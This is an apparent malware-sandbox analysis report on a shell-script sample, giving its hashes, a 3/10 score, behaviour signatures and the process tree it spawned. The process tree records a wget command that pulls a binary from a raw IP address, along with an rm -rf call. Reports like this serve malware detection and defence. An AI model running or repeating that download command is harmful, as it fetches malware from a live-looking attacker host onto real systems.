Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/09/2026, 16:49

General

  • Target
    4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
  • Size 832KB
  • Sample260913-vb22xazfqd
  • SHA256 4d1bfef7a26d0f17230f5500d80bbebfe34eaaa1ce9c798f6e14141f1ccc8813
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
3/10

Malware Config

Signatures

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
    /tmp/4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
    1⤵
    • System Network Configuration Discovery
    • Writes file to tmp directory
    PID:708
    • /bin/rm
      rm -rf "cat.sh "
      2⤵
        PID:715
      • /usr/bin/wget
        wget http://176.65.139.235/order.x86_32 -O order.x86_32
        2⤵
        • Writes file to tmp directory
        PID:720

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          sh-thd.ckyqgH

          • Path /tmp/sh-thd.ckyqgH
          • Size 827KB
          • SHA256 2d9d9609b98fe1ea8fd588a7b264fa84bf4160c35d192a6571591e69c6e4a60c
          • MD5 SHA1 SHA512 SSDEEP TLSH